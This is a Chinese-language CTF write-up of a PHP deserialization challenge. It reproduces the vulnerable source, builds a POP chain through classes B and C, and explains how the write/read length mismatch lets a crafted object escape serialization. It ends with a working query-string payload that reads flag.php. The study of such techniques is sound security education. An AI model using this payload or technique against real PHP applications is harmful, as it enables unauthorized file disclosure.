这个题是我在赛后再进行学习的,所以自己在本地复现了一下环境。
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
首先分析,定义了三个类ABC
ok,咱们看到C类中有个敏感函数file_get_contents()(将文件读取到一个字符串中)
我们很明显的可以看到注释了一个flag.php,好的,这里我们可以想是不是可以利用这个敏感函数来读取flag.php呢?
OK,__toString这个方法必须得在echo时才会调用,那么我们继续找。发现在B类中有echo。而最后却只实例化了A类,所以这里我们使$a->password=$b
就OK了
这里我们的思路就很清晰了,开始构造pop链
pop链:
$b = new B();
$b->b = new C();
$b->b->c = 'flag.php';
$a = new A();
$a->username='ro4lsc';
$a->password=$b;
序列化的结果为:
O:1:"A":2:{s:8:"username";s:6:"ro4lsc";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
现在我们注意到
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
read函数可以使\0\0\0替换为<0x00>*<0x00>,write函数反之
这里我们注意到read函数将\0\0\0(6个字符)替换为<0x00>*<0x00>(3个字符)
这里就导致了PHP反序列化字符的逃逸,这里我在本地也搭建好了环境
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
echo "serialize(): ".serialize($a);
echo "
";
echo "write(): ".write(serialize($a));
echo "
";
echo "read(write()): ".read(write(serialize($a)));
echo "
";
$b = unserialize(read(write(serialize($a))));
var_dump($b);
echo "
";
echo "username: ".$b->username;
echo "
";
echo "password: ".$b->password;
echo "
";
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";}
然后传入参数a=\0\0\0&b=2
可以很明显的看到最后经过read(write())函数过后
O:1:"A":2:{s:8:"username";s:6:"*";s:8:"password";s:1:"2";}
这里的s:6:"*"其实是s:6:"<0x00>*<0x00>"
只有三位,所以PHP反序列化的时候就会向后再读取三位,现在再看之前序列化的结果
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";}
注意这里的
1";s:8:"password";s:1:"
长度为23
我们要使\0\0\0逃逸掉这部分的字符串使得b参数成为注入对象
所以需要构造8个\0\0\0,从而向后读取24位
故a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
此时序列化之后变为
O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:1:"2";}
这里username变为
********";s:8:"password";s:1:"
此时的b参数为
2";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
因为需要闭合username的单引号和分号,再加上传入password变量序列化的结果
故最终payload为:
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=2";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}